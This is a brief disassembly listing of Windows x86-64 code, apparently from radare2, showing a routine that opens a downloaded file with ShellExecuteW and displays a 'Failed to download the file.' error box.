xor r9d, r9d
lea r8, [rsp + 0x37a0]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x1400293f5
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Failed_to_download_the_file.
mov rcx, qword [rsp + 0x3bd0]
call qword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x140029323
lea rcx, [rsp + 0x38]
call fcn.140003850
nop
lea rcx, [rsp + 0x3780]
call fcn.140003830
add rsp, 0x3bc8
ret